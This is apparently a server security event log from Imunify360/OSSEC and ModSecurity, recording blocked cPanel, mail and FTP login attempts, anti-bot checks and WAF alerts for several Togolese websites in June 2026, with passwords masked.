[2026-06-17 18:50:39 +0000] info [cpaneld] 201.94.150.83 - expe "GET /login/?login_only=1&user=expe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.117.184.12
country_id: 3437598
description:
[2026-06-17 18:50:42 +0000] info [cpaneld] 181.117.184.12 - exp "GET /login/?login_only=1&user=exp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user exp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.177.246.223
country_id: 290557
description:
[2026-06-17 18:50:45 +0000] info [cpaneld] 109.177.246.223 - exper "GET /login/?login_only=1&user=exper&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user exper (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.89.57.10
country_id: 3469034
description:
[2026-06-17 18:50:36 +0000] info [cpaneld] 190.89.57.10 - experts "GET /login/?login_only=1&user=experts&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user experts (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.54.193.14
country_id: 6252001
description:
[2026-06-17 18:50:32 +0000] info [cpaneld] 75.54.193.14 - expertsd "GET /login/?login_only=1&user=expertsd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expertsd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.107.240.98
country_id: 3865483
description:
[2026-06-17 18:50:23 +0000] info [cpaneld] 149.107.240.98 - expertsdefensecom "GET /login/?login_only=1&user=expertsdefensecom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expertsdefensecom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.255.157
country_id: 1733045
description:
[2026-06-17 18:50:28 +0000] info [cpaneld] 180.75.255.157 - expertsd "GET /login/?login_only=1&user=expertsd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expertsd (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:18:54:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593477&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781722452 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 17 18:54:13 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:54:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7431023&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781722453 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.77.199.52
country_id: 3617476
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1345175686 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.163.239.74
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-20-at-13.03.12-682x1024.jpeg 682w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-20-at-13.03.12-200x300.jpeg 200w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-20-at-13.03.12-768x1153.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-20-at-13.03.12-1023x1536.jpeg 1023w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-20-at-13.03.12.jpeg 1066w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.57.2.170
country_id: 6252001
description:
38.57.2.170 - - [17/Jun/2026:18:58:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13132655&pdata=http%253A%252F%252Fafrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781722709 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/26.4.1.655.10 YaApp_iOS/2604.1 YaApp_iOS_Browser/2604.1 Safari/604.1 SA/3 Version/18.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.57.2.170


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:18:59:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133507&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781722739 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:18:59:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105223&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781722739 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 18:59:55 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:02:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:02:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:02:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:02:09 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-17 19:03:49 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:44698: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.171.161.183
country_id: 630336
description:
93.171.161.183 - - [17/Jun/2026:19:03:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7444890&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ftag%253Dclean-water&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781723026 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?tag=clean-water" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.3159.1650 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.171.161.183


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 146.190.206.67
country_id: 2921044
description:
146.190.206.67 - - [17/Jun/2026:19:04:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791594&pdata=https%253A%252F%252Fafrique-distribution.net%252Flite.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781723068 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/lite.php" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.190.206.67


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.167.219
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/10/ELEVE-860x452-1.webp 860w, http:/togodailynews.tg/wp-content/uploads/2025/10/ELEVE-860x452-1-300x158.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/10/ELEVE-860x452-1-768x404.webp 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.9.79.228
country_id: 1562822
description:
103.9.79.228 - - [17/Jun/2026:19:04:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855641&pdata=http%253A%252F%252Fafrique-distribution.net%252Fgh%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781723072 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/gh/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.9.79.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-17 19:05:43 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57624: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.249.210.133
country_id: 1814991
description:
2026-06-17 19:06:40 dovecot_plain authenticator failed for H=(ntv6v5t2bsmmxj1fi0bawsqy) [114.249.210.133]:42528: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.219.82.174
country_id: 6251999
description:
[2026-06-17 19:07:12 +0000] info [cpaneld] 172.219.82.174 - co "GET /login/?login_only=1&user=co&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user co (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.64.81.105
country_id: 2542007
description:
[2026-06-17 19:06:49 +0000] info [cpaneld] 196.64.81.105 - cogerisq "GET /login/?login_only=1&user=cogerisq&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogerisq (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.155.73.202
country_id: 3686110
description:
[2026-06-17 19:06:52 +0000] info [cpaneld] 186.155.73.202 - cogerisqtg "GET /login/?login_only=1&user=cogerisqtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogerisqtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.158.180.240
country_id: 2017370
description:
[2026-06-17 19:07:01 +0000] info [cpaneld] 46.158.180.240 - coger "GET /login/?login_only=1&user=coger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user coger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.37.55.204
country_id: 2963597
description:
[2026-06-17 19:07:03 +0000] info [cpaneld] 51.37.55.204 - coger "GET /login/?login_only=1&user=coger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user coger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.228.117.82
country_id: 1605651
description:
[2026-06-17 19:07:10 +0000] info [cpaneld] 49.228.117.82 - co "GET /login/?login_only=1&user=co&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user co (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.69.245.2
country_id: 290291
description:
[2026-06-17 19:07:09 +0000] info [cpaneld] 77.69.245.2 - cog "GET /login/?login_only=1&user=cog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cog (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:07:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263751&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781723271 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:07:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146468&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781723272 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.230
country_id: 690791
description:
Jun 17 19:08:21 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 19:08:11 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.230
country_id: 690791
description:
Jun 17 19:08:27 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.230 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.3.143
country_id: 6252001
description:
[2026-06-17 19:09:31 +0000] info [cpaneld] 195.63.3.143 - ulduzncs "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.182.189
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:sne2023-le-reteva-apporte-son-appui-au-developpement-du-systeme-national-devaluation/||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.74.49
country_id: 2635167
description:
Jun 17 19:10:33 ns5 pure-ftpd[2207736]: (?@81.171.74.49) [WARNING] Authentication failed for user [masfloy]


plugin: modsec
rule: 77142124
name: IM360 WAF: Track WordPress registration flood
abuser: 176.211.212.92
country_id: 2017370
domain: 24heureinfo.tg
description:
IM360 WAF: Track WordPress registration flood||WPU:||RSV:8.18||T:APACHE||MVN:ARGS:action||MV:register||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 176.211.212.92
country_id: 2017370
domain: 24heureinfo.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:MropfizzSeamy||Email:mropfizz@smallbutnaughty.com||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-17 19:11:57 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:53716: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:19:13:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10183579&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781723587 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:13:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7261030&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781723587 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-17 19:13:42 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57352: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 19:15:11 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.72.163
country_id: 6252001
description:
[2026-06-17 19:16:04 +0000] info [cpaneld] 217.181.72.163 - yydrdvav "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 209.35.80.124
country_id: 2635167
description:
209.35.80.124 - - [17/Jun/2026:19:17:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054042&pdata=https%253A%252F%252Fcivilemagazine.tg%252Fvoici-4-remedes-naturels-contre-le-rhume%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781723825 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/voici-4-remedes-naturels-contre-le-rhume/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.4062.1038 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:209.35.80.124


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.240.132.11
country_id: 3686110
description:
[2026-06-17 19:17:54 +0000] info [cpaneld] 190.240.132.11 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.59.160.187
country_id: 3686110
description:
[2026-06-17 19:18:01 +0000] info [cpaneld] 181.59.160.187 - djamatg "GET /login/?login_only=1&user=djamatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djamatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.248.56.210
country_id: 1210997
description:
[2026-06-17 19:18:13 +0000] info [cpaneld] 161.248.56.210 - dj "GET /login/?login_only=1&user=dj&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dj (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.86.56.249
country_id: 1282988
description:
[2026-06-17 19:17:59 +0000] info [cpaneld] 103.86.56.249 - djama "GET /login/?login_only=1&user=djama&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djama (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.232.215.163
country_id: 3469034
description:
[2026-06-17 19:18:03 +0000] info [cpaneld] 168.232.215.163 - djamatg "GET /login/?login_only=1&user=djamatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djamatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.107.211.169
country_id: 290557
description:
[2026-06-17 19:18:06 +0000] info [cpaneld] 5.107.211.169 - djam "GET /login/?login_only=1&user=djam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djam (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.49.174.144
country_id: 3469034
description:
[2026-06-17 19:18:11 +0000] info [cpaneld] 187.49.174.144 - dj "GET /login/?login_only=1&user=dj&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dj (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 147.235.199.19
country_id: 294640
description:
[2026-06-17 19:18:03 +0000] info [cpaneld] 147.235.199.19 - djam "GET /login/?login_only=1&user=djam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djam (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:19:10 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.255.99.75
country_id: 2750405
description:
Jun 17 19:18:40 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.255.99.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.255.99.75
country_id: 2750405
description:
2026-06-17 19:18:42 dovecot_plain authenticator failed for H=(dfghjqz0dtthw5u6uwbm) [5.255.99.75]:41714: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:19:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:19:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
